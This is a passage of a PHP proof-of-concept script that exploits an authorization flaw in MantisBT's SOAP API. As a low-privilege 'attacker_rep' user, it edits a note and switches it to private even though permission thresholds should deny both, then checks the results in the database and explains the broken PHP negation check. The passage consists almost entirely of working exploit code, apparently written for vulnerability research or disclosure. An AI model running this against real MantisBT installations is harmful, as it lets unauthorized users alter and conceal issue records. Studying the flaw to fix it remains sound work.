true, 'cache_wsdl' => WSDL_CACHE_NONE]); $note_text_added = "F12-CLEAN-RUN{$RUN}-ADDED-" . time(); $note_id = $soap->mc_issue_note_add( $ATTACKER_USER, $ATTACKER_PASS, $ISSUE_ID, (object)['text' => $note_text_added, 'view_state' => (object)['id' => 10]] ); echo " Note added: id=$note_id text=\"$note_text_added\"\n"; // Verify via DB $row = db_fetch_array(db_query("SELECT reporter_id, view_state FROM mantis_bugnote_table WHERE id=$note_id")); echo " DB: reporter_id=" . $row['reporter_id'] . " view_state=" . $row['view_state'] . " (10=public)\n\n"; // ── 2. ATTACK: edit the note text as attacker_rep via SOAP // Expected: DENIED (attacker_rep level 25 < bugnote_user_edit_threshold 55) // Actual: SUCCEEDS (PHP bug: !55 = false → check never fires) echo "[2] ATTACK — attacker_rep edits own note via mc_issue_note_update...\n"; echo " (should be DENIED: level 25 < bugnote_user_edit_threshold 55)\n"; $note_text_edited = "F12-CLEAN-RUN{$RUN}-EDITED-" . time(); try { $soap->mc_issue_note_update( $ATTACKER_USER, $ATTACKER_PASS, (object)['id' => $note_id, 'text' => $note_text_edited] ); echo " RESULT: ACCEPTED (bypass confirmed)\n"; } catch (Throwable $e) { echo " RESULT: DENIED — " . $e->getMessage() . "\n"; } $row2 = db_fetch_array(db_query("SELECT reporter_id, view_state FROM mantis_bugnote_table WHERE id=$note_id")); $text_row = db_fetch_array(db_query("SELECT note FROM mantis_bugnote_text_table WHERE id=$note_id")); echo " DB note text: \"" . $text_row['note'] . "\"\n"; echo " Text changed: " . ($text_row['note'] === $note_text_edited ? 'YES (bypass confirmed)' : 'NO (blocked)') . "\n\n"; // ── 3. ATTACK: flip note public→private as attacker_rep via SOAP // Expected: DENIED (no check in SOAP, but correct check: change_view_status_threshold = 40 > 25) // Actual: SUCCEEDS (view_state block at lines 1559-1562 has zero threshold check) echo "[3] ATTACK — attacker_rep flips note to PRIVATE via mc_issue_note_update...\n"; echo " (should be DENIED: level 25 < change_view_status_threshold 40)\n"; try { $soap->mc_issue_note_update( $ATTACKER_USER, $ATTACKER_PASS, (object)['id' => $note_id, 'text' => $note_text_edited, 'view_state' => (object)['id' => 50]] ); echo " RESULT: ACCEPTED (bypass confirmed)\n"; } catch (Throwable $e) { echo " RESULT: DENIED — " . $e->getMessage() . "\n"; } $row3 = db_fetch_array(db_query("SELECT view_state FROM mantis_bugnote_table WHERE id=$note_id")); echo " DB view_state: " . $row3['view_state'] . " (50=private, 10=public)\n"; echo " View state changed: " . ($row3['view_state'] == 50 ? 'YES (bypass confirmed)' : 'NO (blocked)') . "\n\n"; // ── 4. Control: confirm web UI would correctly deny the SAME edit echo "[4] Control — verify web UI uses correct check...\n"; echo " bugnote_update.php line 72: access_ensure_bugnote_level(config_get('bugnote_user_edit_threshold'), \$note_id)\n"; echo " access_ensure_bugnote_level() correctly compares user level vs threshold.\n"; // Simulate what access_ensure_bugnote_level does $project_id = 3; $user_id = 6; // attacker_rep $edit_threshold = config_get('bugnote_user_edit_threshold', null, null, $project_id); $user_level = access_get_project_level($project_id, $user_id); echo " edit_threshold=$edit_threshold, attacker_rep level in project 3=$user_level\n"; echo " access_has_bugnote_level result: " . (access_has_bugnote_level($edit_threshold, $note_id, $user_id) ? 'GRANTED' : 'DENIED') . "\n"; echo " -> Web UI would: " . (access_has_bugnote_level($edit_threshold, $note_id, $user_id) ? 'allow (unexpected)' : 'deny (expected)') . "\n\n"; // ── 5. PHP logic proof: show why !threshold_value never fires echo "[5] PHP logic proof — why the check is broken:\n"; $threshold_val = config_get('bugnote_user_edit_threshold', null, null, $project_id); echo " bugnote_user_edit_threshold value = $threshold_val\n"; echo " PHP: !\$t_user_can_update_own_bugnote = !$threshold_val = " . (!$threshold_val ? 'true' : 'false') . "\n"; echo " Condition: (owns_note=true && !$threshold_val=" . (!$threshold_val ? 'true' : 'false') . ") = " . (true && !$threshold_val ? 'DENY' : 'PASS (bypass)') . "\n"; echo " The check only fires when threshold=0. Default=$threshold_val → check never fires.\n\n"; // ── 6. Summary echo "[6] Summary for Run $RUN:\n"; $text_row_final = db_fetch_array(db_query("SELECT note FROM mantis_bugnote_text_table WHERE id=$note_id")); $row_final = db_fetch_array(db_query("SELECT view_state FROM mantis_bugnote_table WHERE id=$note_id")); echo " Note $note_id: text=\"" . $text_row_final['note'] . "\" view_state=" . $row_final['view_state'] . "\n"; echo " Edit bypass: " . ($text_row_final['note'] === $note_text_edited ? 'CONFIRMED' : 'NOT confirmed') . "\n"; echo " View-state bypass: " . ($row_final['view_state'] == 50 ? 'CONFIRMED' : 'NOT confirmed') . "\n"; echo "=== End Run $RUN ===\n\n";